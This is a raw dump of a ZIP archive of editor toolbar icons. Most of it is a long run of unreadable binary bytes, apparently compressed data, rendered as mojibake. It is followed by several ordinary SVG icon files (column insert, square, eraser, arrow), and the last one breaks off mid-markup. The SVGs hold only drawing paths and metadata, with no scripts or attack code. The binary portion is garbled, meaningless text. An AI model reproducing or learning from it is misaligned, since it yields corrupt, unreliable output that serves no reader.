<	'�a+<�7�·p�G|	O�P�4U:�ԑ�������/�)�w���S,U�Z�h�-<:ھilp�#�PS��LG[��3�@�Q�5аL�P���y~;%6���cx�1̻��CmuU��?�Rn�*�L��Ǵ����2L��(�'�Ɇ��6�,�1���;�E�x�c```f�`F���| ��@�G����$��P��lp�m;�x�c`f��$�#+��x��}|U��^I����zP� M ��		EzU�rP���R�G@��X8�Oi
�A��B���{|�o�����2;;;�;�3{Є���4-h܄#�ǎ5>Yh���DAg������WAe��Z̅�&�^1uV[��1��J�+%����VA�O5dž
Մ��^M�VKΉi��"ꊦ��xRt��(1E��b��(��]��b��Y�.Ήt�%n�"Mh�Z���h��x�����Z{J������^������hK�Z��I�Zۍ�hi�<�����*x��$�R�ƍ:�e�cx� ;{Ԅ�eu�<D�Ǝ�b�C���8iԋ�f���3T��9F˟�>ކ��'&��4p�����:�q��QÒG�v���<pT�?��A	���A��ʬ��#FML��%�4j�Ac�HJ�:r؈���<rB�C�56)ylr���Əf�G8~�X�"���@b��Q/P�ǍN8t�p 0v�@1n��;n�ءÒ�;j��!�&$�8v���eB4n�hT���$O����C�ɛ�x�L�X��`Ԅ�娛84)yTyD�B{[{G{W���h30�3�Y�l�}�\m�6_[�}�-�>�>�i�!kK�e�r�'�J�Z[���ֈ�Zm���A���L۬mѶj۴ϵ���%���8�9m�����5���o�>
��+�]hǰ���*�������[c�j��X�f���4�|�����j6�G�z롢V�_�,�po�.]�~�S�'z�vK�}w<�~@�_%�JY�?c��reAӕ^+�
�-I�]Y�ʙ?��i���Y�x����~&�Obj��wô�W��hY[3L�:]8U׺-�����i]�A�Y30��G�%:�
&&�*��}��@*|^3,�u �h��C�$��pơ��ku�����1��U���<T��),�(˰�?��k�[V���_�e彋Z��.�	�߅�|�~-y�#��<;������F�$�v�J�J���'}���Eț��g��׷�·��?�X�m��g����Q�/~�h�c��"�e�O�E_O� D.<u��ûu��]Vf����K�/@�>��hj$��vE����
fm;�"����:�1G˾B�?�ͩ�$Z�g Y��z~m��@��gQ~Z'�jh��DAQH~�<��	����/�{yų9���&�^@u�)_2�-q`
�� Grf�s�*P��Q�Ÿ|58�:��~*�3��a��YF�T�^P�~����[}?����ݎ���D��2^7^W�������P�=�!�MAQ�W���`R����R�N˴&��]�]�*���,1@��ڔ�L�����N�"�jGԮ�_��vL�,Z���"�%:Ԇ���s�#�V��q�����]�M'T��$��:ă5��-�dN�L�C��ɘ1>̊�����
�4ŝ2Wh,bM�5"��*�Ca����W��w�.|j2MU���PU�V���a'�l���椥xR��jj�JV��w�g�WU�݈�˰�����MM�'��&�*�}y��8vr 8�F��w�)�=&9:��3fE�$iD�b��1v;�+����G%���@:��:�j~��TS[~�1�s: g�����E�=���%jFe��x��cHٝ���&7i�����%�#-G=ҒPNZ�=Ң�¿LVƬ*��4��ė��#-�F�AZds[�n��glqKQ�➀��p��U���ie�OH���sw���t5;�r�,�:��.��rN.�ʻ���y���:e�{�\�ߦ�	)j�n�5��@�x�N:�{��ö�ogAy�N�1U靟��A;ʖ_
��v�i�i�RN��"8���:o%ndsy͍�(K��$9sQ�-?�w\�Mh����-�0+���ޝ�	����swA�o�o��#�(�n���jˋ�Z���u���?��r{G�Z`Oo�gz�o[
��M���t{z��ڰuW[1�Q�X��U:X��;���?���I�	�V�,�s��N���SAb�X�~魞F^�]Z3�+�/�\f�c~c�i�3F�Δ����})�ى7~�?�z�����R�+D�ů���ӂ��I�RkЈ�0�p�1mҗ5A�o�Rtg����fyL�`�\�����r�a�b�[��29�]z���Tr5M+�,KɄ%���WFD���Կ��۱M8�[�έ<��
���-b��}9"�v��m���_�lH;_^���aє,�+#"�CD��4���&\�X9r�˾Md�-X��Ԓ��%�tB<P��i�]���D���FD��$�$�wrw�{���=�PJY�{���;K���|d�����;�yx��e��Mԯ_Lj�DW����\��"�M����k��Nf�)�cP��e4�Yd�_E�U��W��Z�bPY�Q�j0�??CO��LB:!��D^�u@����0�"�ZV�`!/蘰-i/Vy�8�^������L�>����Y4��yYu�U]}X�[���\p�+38�.t�Y�$��M#/��t�[�@3@�AJЫ%r��*�8@�h��ߣ��ݐ8�Ø�wA�3?C���+�Xg8Ӛ�W��>�]�FyES/����Aѯ��7�!Du���f��+�v�spx���[��C�;�p�wro���&��9�󼄐W�X�8�ɱ}b�;(�ۋ��i��u�2J���ɷ��CQ�/�����V�Mnw	q<ؒ��<�5t�IV]�L���죯I��p�"z�J���%�/�▤�/גV�&�+T��Cj� /����?�g�#i�u]��z�k���G�(�TW@r�jfR�o��	y7�Q�ϫ:ǔ�dž7�:Gs�D��	��n�H��8��~��;�T�E�/d�rmB^�'���m��7�/bZ���Γ��9��x'i���dD�x����r���LV�B��,9�<{oG:x��U�8m)�Ϻ������w�^�f���{�W�i�)���z�$��}�:({�]�Z���t
���	X!ZZ� �s��| ~}B^֍�]��7�ۜ�p���%�>�/�Ca���ߧDD��G��ٓM�V��S��uRd!�>t�s܌|��"��/Şӹx��G!c�Da��3暪!H!�C��7#h*)$E�
�jAՐH�?���HR��@��l��d(&�!Y�
�Q�W7~��'��ϑD7Z��y���ڟ�t�G@<'�ܬqc�N��5�{\MH��l�UN���5��U�sUI-ʁ�n����ϼ6)�5�@Im*&b �=�j�y<-�όyB1C��O>��h�h�Y7в��j�O��e�b��P�K0E��9q���}|� ��x(�����h�\!�`��S1D�0b9r+D�Mh>9��$jz!�[n$���
`��{S}S�{롵�O�??ke��D�-,�i�ߑ�X]�M0��w�
�蜺yY���H��K	er�=F!�'�|�2D�8b��Q���;1wڅUh�x6�����\������9�mPi5���)��d�XJ�_��a
��i[��`¶��<�;~=mxc�����_��y<�L��	~�}ҝ��y�	P���mLt�u�UՌ�٩J-�}���,�"�D>简�Ҹ�Y�:!�ܕ����e���* 3%˥�g��W�P0'$:t�a�l�gzZ��4�-�|
��ݮ/�b�����'��?�!u���o�O�����E
�@���"K�?������������d��7<-�M�'Նk(��+(~�S@�/m�>���;�I��6d{�W@q���7�}�.OGR�P�o��0V�����4���;�G� ��p
����H�\�ϣK������@N�"z�ۯh>
��}z�~���%�MˌÀ�F2a1�za���H�܌����G�r�>u���6j	|�r����h�hI�}�6�Ϯػ{���u��ޟqf&ߣ˄z��đC���h�3��^�]��7	hT'�H1��9��jo��C��0ɋ��d�0�|]S1�����;N�糦���>�.�oA+}<{Z4��׳�<h��#i��E'{y.�����8���H&��q�#٠(�A)�=��2�z/��VO��ҜtT�@�����~y�,�:��,��+ǫ��
��L'�T�T0�9%e�{���0�_��h�a�62m6�ɱ���u/ ���;B^L%�88�UN�פ���f�!�K6�{ ܏<K�	��=����$[n�g��I4;>P�
@��oi���;I��y��P��۷F�-�=�2P�
�h�v�8��#aݾ��h��^����1��/�t������P���犪�ثU:y4H:�hC/��:��=��{�@��0�ٓ}�cyȫ�,�x�@��N�.��!��
l�J���R���J�_��n�u��FI}�T����ou��-Vz�YZC�[���!!lFs���޳6-����R�q��C�H�HRg �SKa�ɢ�]:�ϧ�4��]H"	&E]{���|��&�sM�>H�|���
{�����k��,�G���H�`��ׅ��2a�����+9eu6=,&U�+$脗��.ۋ�h��MkA�s����/�2��=�M�_Q{C����y��� u�?�Mv�,D7�T�+��Ĩ�>��u�T0i/��ct�a�
#�a�K��{�Ļ��?�K�ϒ
r*27Uؼv$�M�l�![�@ƈM��&k�ԩ�B�V���+�ھ遦�_�{#��ߐ|w�G��3��2���G�япm�z=���V���qBꆫzt�����Z+6�zn_��>;;H��
9��#QK�k:	K(�
M��}	�|y�#t
�t�ɓ�[g���V����ֆ�
�l�2���먃kH���DU��µT��l�S*~�
��e�=N�P�]ik��R���t���Ϋ�c��w�@��K}��Ii؇��J�4�'���s���~N��`I�Ǩ�\AK��BK�ͥ��;

�h�L�WpIn���V�R�B�c�.�m�R8djx0�݂)�ڟm*����^�t�D�N����J}:7$����=���d�������ݘ��Ӄ�pc"%Hܔ IS4��T���B��'|:]UcV�%'�(ar'LzJ)�S�-����ĝK�aK:����T�
[���5l��21�M�,wc:zGL�L�ّ�����ƫyE�c�a�R��t�t>J�xs�7D|��}q3�/�
i�0&����~������\��"���n����P�+�`��Yn�;�����o<W�[�q�i]y�U���_����1. ;�R�`u� �S?dn��ڐ��͈8�zHn����q��H*��W��w�@�l�u<�ŭv-���f��9�k��~�{a��8��I`��H.����8b�ܡ[�_/�|r� ���].j.2c,�=��[�9�������󤰴����g�I�'��d��&��נ�	�5�Ɉ�}-�g|I���A�^�+>@��
��`'o�B��Y\�ʽ$�����%��!���4��2-��Z��r7��	�W�G�0l&�+�,;�UOu5R�y�aN;E���Tbʽ^{� �s��o*���]"�'��P�ȫ�0oJ�W^<�i�ӌ��i���N���[+�P��\}��~y���uy��Ӊ���'�5�B�%��޿y�EZ4��п�:�]h���\� �T*�Tu��~��jU	�F�}�n�)gb+C�j���?��#�4�y����q<��n���3�P^bDX��hw���XT<��~o6�����RZ>���a	�N���bm=�.�0�z�����^�Q�zw����k�f2�E"�].�׋K;9�Ve�z�H%�ki��,R
dS ��\COMcU����óYl2�P�N�I��
x�D�'y�<�!�V8�N�Ձ`s�c�X�����]�	����S�K�Q��}Em) �EL�Ö5n"�_X�����:�6|�,���:�cX�~���-��<�ȝg���LΪC��� ��m"�P˼^Ðu����s����ںFp����K��?N�!�
�7�$���#س\�҈oz��9Ő�@���������-�&���1}�$�W픦�)sU�5y+�����T,�mRC��3�u�2.��2-��Xij��!ʣ�4�Oб�J���QB��D�:Sք�<�DI�4o�6&�Ub�R�m�;�H|�Z��T5A���ކƼR�i�:��@3sN����
��L��(��d�N�l��W	�`Ԕ�n�i[��[��j#k��r�YM�g�t��w1�u�Tɞx�� =2-�d*f��͍��t7�o�6�3���fzƬ��#��0fQn��;���-^�M�}��I���4l9ۢ���[.�}U���czF���(��.0w�%�K�r�L���{��n�"�IZ�c�ӵ�mv��h�����|�c\�nigJ�A` ��Q+`QM�w�,��?yř:�C��o%7�L��c�ϻy�����J$�V�@�.4���F$�WP����t��5�P�\^��cs��t�ݤ��L1:���#��s�>wǼX�$w�H��σ$�6��v{P��הs�l_*�w��q~�QXd1���Ϩ�qd1�Ɓm���̒_E	��_$~�н��q�H���nH�#7Q���$�	ђ~�@��y�Ňv�;��Y"~��'o��h1~w;a��_Dx�"�?�E��/�(��#��ԥ��u��rS�E�_DHo���|"1�����u5׵�dv_e�3����dBc����=.�r����>@�]��J2 q�4L�*K&��"��8���&1j<�G���q���8��h�U}-��gցN�'Ga���u�ι�ޫhQ����ɼ4�S��Xd헔�Z�\�:�D�/x�]u(�U��t���su�����Eh�Z��P��C�Up;���47�@ڬ?�'襯@C��G�{�%�X]�FV���@:�W�F7Y��0Qke[��8�L�R����E��A*}h#���y¤���k$�y����<������D���N'{c��>==T)p� Wؒ��§8��rQk����a@͍2�r
���`5��������Ѓ�KВ�\��zr�zн���/�QSM�̹m�Gg}E�{m�9R+����UA��?��+�����)�gg��*,-�"����3���N���ԬoLK1�kGm����{��rL�N� �y�9��69����a�}�;����
��@�͵����!q�.A�Alss2��}zCU.땕 �fJ}#���	���Xe�<�-"�5r�H����`��b^������<d���E�oi ����E
�Qa8��l:FF��H���|��X��^�
g#>t��~��E>��*�v�6	���a�j�
�Š�VS�a�K�g�&�����T�d���XԌ��'z#��e��
Pv��:�e"���G�
E{�5��ү�+������m�4Z>YI\��e9���
�r���
ŁP%�	�{փ��a���.�2z�Pz�3^]d0#�]Ο��G���7.�Hpƈ}��6t��*'��'�"���Y�=�����j�q�H����/�֪;y�G�6:������EZ�w�����ח�ďE��lT}�2��I(r�Cɰ��\[+��2
)r?�\���]*�[��k�4U.QO����(�FO�y,�M���[d�0����J*����w�jLe��f�Op���	
��X��b����k���ҷ��x#�N}��ε�>�kfTG�S<�GBf�8%6�m����԰���6�P@/��~�@:H�#�Ѯ�#��f;!<]�D�%~a���C�q�݆
�כ��U9[:U-��x	���ԽܖBԯ��E����Б�7[��H-���C� �oJ���]Uf�2��Z��X�>�g�J�!o�����rc����NȬ�yy�����(h�3���[ɖ�Uh
w�c�k�W�@�>�^��s����
4�z������ʮ��y���J(��k+~�\Ck�K��Z3�W��?�św��^_�W�%pϟ�_PG�9��9[)�z�
��JI���ÑT�n��D�p-FZ?#���/ �g��(���m�����֐t�߻�X�a�a��?����`�?_OSܷN�&+Ͼ���Ѻ8@��~OB�E/�%�m&=~��d���;x��^�}�.�`��ߍ��v�;/���Zw�P�8�lg�O(vD�܁�Ð|�Qg•�Ut��!R`�l�5��8�hѣ�u�.�8��ű�Y4�o��դ����[a�}}�qއ�5��WF—Qs��	�o�I��,����T��M�E4��cG���6I�^=��n���	�h����"�S���	��s����ѣӔG�v���ۭG�����)W���I��۫'�܂N��_�ҹ��w�>9#����b��{�r�
�U'�v�}�I��*?ȥ�w�|p�y��.@��I�[:�J�b*_��i-=z�}�,����$}�4tc�{彛�rr�G���,#6aB�`�^�f�u�C��-�k�?�j�O�\ݛ(�Uz��E��
m��V�)�qǻ���-�/��:��}�
vS�
�!W�����*;�(���Sl�Jl���@m���T�v^�m��>���F�E�Z�s<�\:ަ�!�Pڅ���x픢�rB;�Q��׮����o]"����^9�O�]��5G��.�(w��;�*�c���i�G%D��Ř��{W����q6��=�)}ŀ����nj�y��e�]��y ^9��JiJd��n��׮��eOP"G77=�D%�>JLQ�!v[Tkk(Q��ۤ)�:.P"�2f�ҏ�P�RYd�@@"�R�!M)��RCP@�j�aLHuC���0Բr�a�
jYp/+��e����T(���<nx�'72d���B�
Y����V��|3L-v�{�t�v{�,��s�9	�dȂ��J�kwJ���=z�^��H/U��rP�W��[%
�)���Q��"�L�pxr[0�P)~��T�O�fIWYі
T��(|U�Gn)_z���ڜ�o=�y��fѦ�=Qj}𧺰�$��x��D܊�C9��cݚU%��5}�i�$�H���t��8?X�~0<l�~�W���\Q��2�|�e�w
����}��s���ۼ{87��7��N�����I�R���o��7͍)��'b��7�lKϴO熷���ٞq�ٖ���t��=�6&g9L�L
o�t�~I	}��]��Is��r�թƇ��ўpw���&���5ʃ)͍��XgU�Ɋx۳-=�E[��)H����3.=��+��'܆)=�)LG=���Q�H��g��gv��k=P{̐+�O�SԟM��DT�ܗ�}�<T��Ag����N*�Sn�arC��
����`�Nr/�M(��%���68�� �|?؆��f������T�q�!��vm�����ˆR�;�����zP�{�=Rm���1�P
��1�l��tv��!�63��'��u`��V���w�~vTZ�Tj�ڂzn׹5���Tn���{�y��3��q�e��$ڸ=�0�?P�+�I�OX��A{�t����L��h\�&U9�S��
��%��9LȄ^x�u�W���PV��~�(:Ɨ����Q]��h�E���h���,����M�2m@��OUX���it�q��sBn�zP��y�Q1�*O�yCI��5��%�mx`;#�xl-�9hΫ襔-�c�pͺLjB�\�X�iY˱V��j�5�
w��#��c��kB�]-]��Z�f{�Z̛s9ּ�=ּ	�XsD�c͞�k���7gv�{���ƺCʫ��:��b�q9VI'r�؏�(7���s�S|6T��ʼnu~�[��7
��
iD�8,�>
��ʐ��4��X�,{�q���q��|W�(g�g9�l����r�ΫP`T�JWB{ɍ頳�Axj�&6'��rq���؝��؜���	$/�gi��%�[PΐO�ų�xC:�1�u��©\�N�t�۫P�ð\�7�)�M��*
�#��>�h��G�n�5\��O+1���n|.iJ�Q��(4(���Bk���x�{�Qi�\ޯz����#�-�n���uj�S���r��n+/%*p��9B���l�A�:�"?��e�lp6��O7��=��}���*�<Uw��UQLGw�Ai������*5�Z_O����S^n8�}��V��C3���Be:��G����"��^z�S����z����\C��4�"Q�].�z2f��\}�z�@��*)?>
�D/x�yqn�
	��X.�O�N�@��"~׳|/6�}�&�Vڀ )�V��H�
$��ֵ��[��.�s�勫�M��o� iϫ��G�k�GX�	~K��B�;����Ő�A����fo�mi9?��n��l�y���g,L�XF�x�Y��t�������̽ɗ�>� 7W~�i�/O}�5W��=f]9�� �2^����6h7HʄЈz�
�
^	�/B�\@wv����^��)x��֡}��T o�C�ȋ؈oy@�?�x�(�|{*��(Qod*~�~o��W�kB�E�AE���/�	�CR�q��@�����6PM~3i	
�?��9>��і�F���!\^���ӂ�����i��KIyE4X�}���1����pj�>�fA�,�G�%�0��i}�E,J5:1n�fOW�hs]�s��ٮ5T�����[��3Nʧg"��#sy�5۴�\^e�ʧ�g��_�J��Q%7z���.�؝��Cx�'O���%���7\7H/c]Y(��ؕ���ŗ���R��	~���y��N�R*绅���\K��2S8#�a��ZT�q�\+�ԋ�+\�/=z~�K]���4�7�gDŽ�f
C�}��I��$��g>C�*���M������h�B�O8�=�B��"�S�+�����Y�;c(~�H
-J��Y��b�)��^D�/c��O�2 #ڇ"?�U��[_"���q�V�L�V�lR�	9�E�BmPP��݋ޢ�#\�*��<&Q
���":y�u
����;�އ��}�%��W�8��1��䰋>,�ɰ���t�iظ����K(��Q&����Dx�G��e�}���|�ɜ2�s�T@��>N�2}��l�I�B�@k��\�j⤩�o��<�r<�+�zkq�t$5�eC�ji�ԁKl�^�1\(騎�3R�8�Y}!��JX$�:ӆ*��P�a�f�2��{ngN�\�|��̀�)X$#����X� Ґ)L�FQ�U.�O'�i\�y�M��㓨��~�����܏E?>�����no������n��t���߉�|�
���1�P,�/��hzs�Q�/��-�Xri]��aQ�U��ܵR�r���
�1٦���Y»q�p%��凙�*Q�
�E�s�I�]��&pf?n4�w�V(�m
�Ϻ��ʿj�Q��Iϥč��b�G悤� �"�Zs���?;�06�b*�E�+�N&�l�C�F��
A8����x13�.K�YY<1����e��O�h���MF�_�e<*�c_�S��Ȫ�U��F�j�������:$|�B�ڗ���L��ɪ��2�)d�ʅ|pEeu�0E�6V~�l���C�Z������j2��� �c4�O�4�;w��9M�� ^�l>:l��7_Q|�ܖ���o��Vpx�1#�~E�C��t�5���0¼	21�L�0/�Ե���M?�3n�m8#M��$B�[J��D�~�)B�f���N�r'���/�/�
i�pᦡ+�a��Γ�9�Ji\W󐈣�~$�8h�L�F۪�r�K�ޢh6z��E ��);a��
��	�4	Ӈ���~�B���!ה���Lj�����I��\�}�k�Q�˜7?� �!��[ז��*x�Y�z=��������*�O=&c����Ќ=G�*p����5�����mK:�%<�t��y���D~൦2�!1g�89o*�!|��*���>ƥ�{�������f$�~��~���™5u�O0��t�)b�A[,��e�&9|~����=�I���K,���L5uP;�e����[ƫ%2�@e=�V[�E
֑=2���f�@�Vv�ȄyjQ�O�4��e�;�4r�s����bDHV{.R|��S��!��?�@<90��[O�%g$L�iH\"j���TӬ��b�RD�[�'?� �&.�n��Q�܅�U�<�y"�oYjF
������p6z�~��a��W=��Be.�QW�6wBny8}�7;ó���r���(*�@��d�����mv�m���q~D�p��X9�f'L�fgz6;���Ȏ�gxjz�:���}y+s~#6n&m���U~�5��ւ���
�^�w�h�M��3�9��b���y�%�UV�\���P+���1���a���ن���Ue�|mV���0�Ϧ�3 �/%�%b»H�0v�h��]��������%��`���<
�Â��Zn3��y��y�Q2�/�_]'Rʂh���4����Z�q���G�d�:�q4�fq[�݋o�k󳻳�Ş�E�YQ�8-�i��촍��-���2��:nv��ൔ-�r��wpDg��Qq曆7�t5m�P�k���:�(kJnm��l�`?��S��ĭ
��#G���{�>6�u�d�L�s+�n�8�~UQ+jö0�S�1���&��c8����P�0�b2o��3���i�}AGc�("�"s�Sx_o?��b��D�ǖ�2CZ��!�Z}��{(������m��|K/��4�(���l�+>�	����ά�]�zlƮKج�{�q�9
���F�aH�F	�U�0O�5IRC�]�6�x*�TӚy��Π$o:}�����o��1b7ԗ�M��AM ������r����4��I�jp/��m2l�kop�^L�oE��!-���)dq>�e`;��K��R��|�q�[�lĆ�ۋ�|e&e1���.	�b�G����5~���5rZ���&���[J٩�B.t<�5���� �ן����Ø�\(��N����<�4�3�_�ZD�����<�P��Ю����KNq�IF�aK�5
���8�y���r�khQ���͇5�b_Դ�3/��M&ԅy1���!��JCS��x+��?�U����͂4�
[�է���ci�W�w(�A�Q2�u�~b'�9�[
�<~�&w7;;�C��Ec/�{����9�]��D���Ulq�p�zԌ����AjW�;ufz:�:��������A��i�c�˺u㼩E�ӝ�{�E�݂26�{�I��FpP��xO������+�yӶ���8F�U�։��#�����緤凲G?��7Z��_fd�O`F&~N���`s�,R.�,k���Ghu6�ZN�W�D�os(c�V?�/3��Fr��"Z��ZV4�P��R�Q��:���e�6���}�����kG#dlk#n��8E�(ʸFm�嘂���s���,�����:OB�ye���x���$U��j�$�6���c�85�#��0�R�
�v��G��X�*
���<��о�	�
���\-������=�5���>�=Z���$��ā;�����=�;����2��ߠ�� �6Vt1iF�>7a��h�
�I�w�T. KQ�f�3�K�%����o4U��jy��@ȫȯ4�r��An����bJ�p��S/z�"���QɭT�Ǫ*_,c�{��w�������z�8b/���|�����'�&t0���V��-)ۮn�=5��1Z�t�k#����c�\��F��弅kX��e[����>4U$�����>&*y�N�i;���Ű�y��ӏ��dC��B��U����|�8((��+����]A�sD8��|Kh�e��E��_��`=m�ܾ��Gj=�{f7G��Gg d��4u�6
ֵ)��_��|�Z�#dȩ�lf-�����2,�қ��|�a��H�o
I�X]�=D��+e7�(e��B�Zr�|����a���,c�p�d�9�(a��*0)2���͸lDV� nP-+�2
�cB�ULq.
��q���g��pmpH5��0[�&"D�h&ڊ^�r��F�.�a�9G���WE�:�(:)��� �খ��?OU����
o���鲉-$[���*|=���?�������5~"�&?�Y] M�4��[��t�0\�XS������)���.x��
$$���w5��_�����Eށ�h��Q/!969J�7ŝ2W��5%�rP�'��@B�Ym~�����%|�^"�{e�2�#ZY�Ry�����+�D��Q���O�y�D��a?���n#��G�S\KO]�����g	�<�{z�ٱp��$��r
l"ÆE,d��eA��5?���1��lW���=��u+�}���0v?y��էtx�t�������� ��x:����`��j-�^ɐ✺�+%r0(��WzϺ�a
�+7Rk:���8����0��x�cb```b`�``b�� Ϡ��@�%B��/����*�3��_����`����/3D����?�8������g`��v�����B�$vx�c```d���|�ז���c�	PK�{�\#õ���icons/col-after.svgnu�[���<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->

<svg
   xmlns:osb="http://www.openswatchbook.org/uri/2009/osb"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:cc="http://creativecommons.org/ns#"
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:svg="http://www.w3.org/2000/svg"
   xmlns="http://www.w3.org/2000/svg"
   xmlns:xlink="http://www.w3.org/1999/xlink"
   xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
   xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
   width="3.9521849mm"
   height="3.9511111mm"
   viewBox="0 0 14.003805 14"
   id="svg3446"
   version="1.1"
   inkscape:version="0.91 r13725"
   sodipodi:docname="col-after.svg">
  <defs
     id="defs3448">
    <linearGradient
       id="linearGradient4209"
       osb:paint="solid">
      <stop
         style="stop-color:#ffffff;stop-opacity:1;"
         offset="0"
         id="stop4211" />
    </linearGradient>
    <linearGradient
       inkscape:collect="always"
       xlink:href="#linearGradient4209"
       id="linearGradient3671"
       gradientUnits="userSpaceOnUse"
       gradientTransform="matrix(0.0633074,0,0,0.0633074,2746.9779,180.3852)"
       x1="252.42857"
       y1="91.944138"
       x2="379.79977"
       y2="91.944138" />
  </defs>
  <sodipodi:namedview
     id="base"
     pagecolor="#ffffff"
     bordercolor="#666666"
     borderopacity="1.0"
     inkscape:pageopacity="0.0"
     inkscape:pageshadow="2"
     inkscape:zoom="15.839192"
     inkscape:cx="-14.589889"
     inkscape:cy="25.694683"
     inkscape:document-units="px"
     inkscape:current-layer="layer1"
     showgrid="false"
     fit-margin-top="0"
     fit-margin-left="0"
     fit-margin-right="0"
     fit-margin-bottom="0"
     inkscape:window-width="1854"
     inkscape:window-height="1057"
     inkscape:window-x="1424"
     inkscape:window-y="-8"
     inkscape:window-maximized="1" />
  <metadata
     id="metadata3451">
    <rdf:RDF>
      <cc:Work
         rdf:about="">
        <dc:format>image/svg+xml</dc:format>
        <dc:type
           rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
        <dc:title></dc:title>
      </cc:Work>
    </rdf:RDF>
  </metadata>
  <g
     inkscape:label="Camada 1"
     inkscape:groupmode="layer"
     id="layer1"
     transform="translate(728.278,112.5011)">
    <g
       transform="matrix(0,1,-1,0,-531.8777,-2872.4914)"
       id="g3610-6">
      <path
         style="stroke:url(#linearGradient3671);stroke-width:0;stroke-miterlimit:4;stroke-dasharray:none"
         inkscape:connector-curvature="0"
         d="m 2771.022,186.4283 q 0,0.264 -0.1915,0.4658 l -0.3882,0.3882 q -0.1966,0.1965 -0.4709,0.1965 -0.2795,0 -0.4658,-0.1965 l -1.5217,-1.5164 0,3.6436 q 0,0.2691 -0.194,0.4372 -0.1941,0.1683 -0.4684,0.1683 l -0.6625,0 q -0.2743,0 -0.4684,-0.1683 -0.1941,-0.1681 -0.1941,-0.4372 l 0,-3.6436 -1.5216,1.5164 q -0.1863,0.1965 -0.4658,0.1965 -0.2795,0 -0.4658,-0.1965 l -0.3882,-0.3882 q -0.1966,-0.1967 -0.1966,-0.4658 0,-0.2742 0.1966,-0.471 l 3.3693,-3.3692 q 0.1812,-0.1916 0.4658,-0.1916 0.2795,0 0.471,0.1916 l 3.3693,3.3692 q 0.1915,0.2019 0.1915,0.471 z"
         id="path3400-4-4-5-3" />
      <path
         id="polygon3366-49-8-3-2"
         d="m 2773.9903,191.0823 c 0,-0.2901 -0.1688,-0.5229 -0.3789,-0.5229 l -13.2422,0 c -0.21,0 -0.3789,0.2328 -0.3789,0.5229 l 0,4.7928 c 0,0.29 0.1689,0.5252 0.3789,0.5252 l 13.2422,0 c 0.2101,0 0.3789,-0.2352 0.3789,-0.5252 l 0,-4.7928 z m -1.1582,0.687 0,3.4211 -3.2168,0 0,-3.4211 3.2168,0 z m -4.2852,0 0,3.4211 -3.2148,0 0,-3.4211 3.2148,0 z m -4.2832,0 0,3.4211 -3.2148,0 0,-3.4211 3.2148,0 z"
         style="clip-rule:evenodd;fill:#000000;fill-rule:evenodd;image-rendering:optimizeQuality;shape-rendering:geometricPrecision;text-rendering:geometricPrecision"
         inkscape:connector-curvature="0" />
    </g>
  </g>
</svg>
PK�{�\
3�;;icons/square.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path id="Rounded_Rectangle_7" data-name="Rounded Rectangle 7" class="cls-1" d="M26.188-17.645H992.877a128,128,0,0,1,128,128V923.107a128.005,128.005,0,0,1-128,128H26.188a128,128,0,0,1-128-128V110.355A128,128,0,0,1,26.188-17.645ZM97.324,53.5H920.236a128,128,0,0,1,128,128v670.47a128,128,0,0,1-128,128H97.324a128,128,0,0,1-128-128V181.5A128,128,0,0,1,97.324,53.5Z"/>
</svg>
PK�{�\���PPicons/eraser.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<g>
		<path fill="#010202" d="M809.47,113.026H383.481c-67.22,0-121.711,53.92-121.711,120.442L79.209,835.674
			c0,66.521,54.492,120.442,121.709,120.442h425.986c67.222,0,121.713-53.923,121.713-120.442l182.563-602.206
			C931.181,166.946,876.687,113.026,809.47,113.026z M652.267,870.801H185.705l60.855-276.013h466.559L652.267,870.801z"/>
	</g>
</g>
</svg>
PK�{�\A����icons/arrow-circle-up.svgnu�[���<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1412 895q0-27-18-45l-362-362-91-91q-18-18-45-18t-45 18l-91 91-362 362q-18 18-18 45t18 45l91 91q18 18 45 18t45-18l189-189v502q0 26 19 45t45 19h128q26 0 45-19t19-45v-502l189 189q19 19 45 19t45-19l91-91q18-18 18-45zm252 1q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>PK�{�\
�}�RRicons/col-before.svgnu�[���<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9511mm" width="3.9522mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 14.003805 14" xmlns:dc="http://purl.org/dc/elements/1.1/">
 <metadata id="metadata3451">
  <rdf:RDF>
   <cc:Work rdf:about="">
    <dc:format>image/svg+xml</dc:format>
    <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
    <dc:title/>
   </cc:Work>
  </rdf:RDF>
 </metadata>
 <g id="layer1" transform="translate(785.53 142.75)">
  <g id="g3610-68" transform="matrix(0 -1 1 0 -967.93 2631.2)">
